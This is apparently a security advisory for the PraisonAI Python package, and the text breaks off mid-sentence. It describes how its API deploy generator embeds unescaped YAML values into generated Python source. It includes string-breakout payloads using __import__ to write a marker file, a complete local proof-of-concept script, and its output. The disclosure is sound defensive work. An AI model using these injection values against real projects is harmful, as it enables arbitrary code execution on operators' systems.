GHSA-79fv-7hq9-w7xg PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

• PyPI praisonai: < 4.6.78 → fixed in 4.6.78

API deploy code generator embeds unescaped YAML fields into Python source Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + ( and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsed_config = validate_agents_yaml(str(agents_yaml)) results = [] for label, config in [ ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)), ("malicious_host_from_yaml", parsed_config.api), ]: host_marker.unlink(missing_ok=True) code = generate_api_server_code("agents.yaml", config) compile(code, f"", "exec") exec(code, {"__name__": "__main__"}) results.append({ "case": label, "compiled": True, "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None, "marker_exists_after_startup": host_marker.exists(), "marker_contents": host_marker.read_text() if host_marker.exists() else None, "generated_contains_raw_host": config.host in code, }) file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \"" file_marker.unlink(missing_ok=True) code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False)) compile(code, "", "exec") namespace = {"__name__": "generated_agent_file"} exec(code, namespace) namespace"list_agents" results.append({ "case": "malicious_agent_file_route_value", "compiled": True, "marker_exists_after_list_agents": file_marker.exists(), "marker_contents": file_marker.read_text() if file_marker.exists() else None, "generated_contains_raw_agent_file": file_payload in code, }) print(json.dumps(results, indent=2)) return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1 if __name__ == "__main__": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else ".")) ``` PoC Command used against current source: ```sh uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI ``` Decisive output: ```json [ { "case": "safe_host", "compiled": true, "host_preserved_by_yaml_parser": null, "marker_exists_after_startup": false, "marker_contents": null, "generated_contains_raw_host": true }, { "case": "malicious_host_from_yaml", "compiled": true, "host_preserved_by_yaml_parser": true, "marker_exists_after_startup": true, "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED", "generated_contains_raw_host": true }, { "case": "malicious_agent_file_route_value", "compiled": true, "marker_exists_after_list_agents": true, "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED", "generated_contains_raw_agent_file": true } ] ``` The `safe_host` negative control comp…